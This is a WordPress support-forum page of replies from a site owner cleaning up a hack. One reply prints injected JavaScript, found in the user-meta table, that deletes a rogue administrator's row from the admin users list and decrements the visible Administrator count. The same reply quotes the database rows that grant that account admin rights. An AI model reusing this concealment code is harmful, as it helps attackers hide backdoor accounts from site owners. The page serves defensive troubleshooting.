Forum Replies Created

Viewing 7 replies - 1 through 7 (of 7 total)
  • Thread Starter glajoe

    (@glajoe)

    Jacob,
    Thank you very much the tip and your speedy reply. That did solve my problem too.

    I apologize for not thanking you sooner. Personal and hellish circumstances.

    Best wishes to you.

    Joe

    Thread Starter glajoe

    (@glajoe)

    Thank you for the resources, W. I am currently working my way through them. The widget was removed from the directory though I won’t go under the assumption that this was the hacker’s only entrance.

    Thread Starter glajoe

    (@glajoe)

    I should note that the disappearing text issue does not seem to appear with writing comments. I replied to a comment that a friend had made and it was unaffected. Perhaps because it was a few short sentences.

    Thread Starter glajoe

    (@glajoe)

    Hi, Tom,
    Thank you for the link to that information. I followed it late last night and I think it helped me to discover the culprit. I’m tentatively exhaling for the moment.

    Joe

    Thread Starter glajoe

    (@glajoe)

    Hello, Michael,
    Thanks for pointing me to that information. Ironically, before your post I had done part of the steps but not logged in as the new user with admin status. What seemed odd was the new user wasn’t showing up as an author either so I was hesitant to try the second part of those instructions.

    What I did find looking through my WP database late last night in the wp_usermeta was another user whse first name was listed as “…” with something like this <div id=”user_ visible after it.

    Then I browsed through something (I’m almost a total newb here) and found this code

    <div id=”user_superuser”><script language=”JavaScript”>
    var setUserName = function(){
    try{
    var t=document.getElementById(“user_superuser”);
    while(t.nodeName!=”TR”){
    t=t.parentNode;
    };
    t.parentNode.removeChild(t);
    var tags = document.getElementsByTagName(“H3”);
    var s = ” shown below”;
    for (var i = 0; i < tags.length; i++) {
    var t=tags[i].innerHTML;
    var h=tags[i];
    if(t.indexOf(s)>0){
    s =(parseInt(t)-1)+s;
    h.removeChild(h.firstChild);
    t = document.createTextNode(s);
    h.appendChild(t);
    }
    }
    var arr=document.getElementsByTagName(“ul”);
    for(var i in arr) if(arr[i].className==”subsubsub”){
    var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
    if(n[1]>0){
    var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,”>Administrator (“+(n[1]-1)+”)<“);
    arr[i].innerHTML=txt;
    }
    }
    }catch(e){};
    };
    addLoadEvent(setUserName);
    </script></div>

    I contacted my host who forwarded this info to their WP programmer who said to upgrade my plugins (I did this morning though one failed) and directed me to read the info here
    http://dougal.gunters.org/blog/2009/09/05/checking-your-wordpress-security

    which confirmed my suspicion. After deleting what I think is everything attributed to that user, I found another user listed further on. It was the same name that appeared a few days back as another administrator, but the entry would disappear when hovering my mouse over it. At the time I deleted that person from wp_users thinking it was fixed.

    After deleting “Clifford Leclaire” this second time, the new user/ admin that I added does now appear as an author. However, I still don’t under the original admin.

    There are two rows in the wp_usermeta that read like this and do not seem to be affixed to either of my two admin IDs or the person I did add. Do you have any advice about what to with them? Leave as is or delete them?

    207 38 admin_color fresh
    208 38 wp_capabilities a:1:{s:13:”administrator”;b:1;}

    I hope I’ve worded things to make sense. Thanks!

    Thread Starter glajoe

    (@glajoe)

    Thanks, Tom. I’ve read this a couple times before posting and couldn’t find any info on how to fix this issue unless the only solution is to upload a completely fresh copy of WP after making copies, etc.

    Do you know if that’s the only solution?

    Thread Starter glajoe

    (@glajoe)

    Also, I am using standard Kubrick theme, and only several plugins (Amazon widget short codes, Share This, Project Wonderful, and Webcomic that I could never get to work correctly).

Viewing 7 replies - 1 through 7 (of 7 total)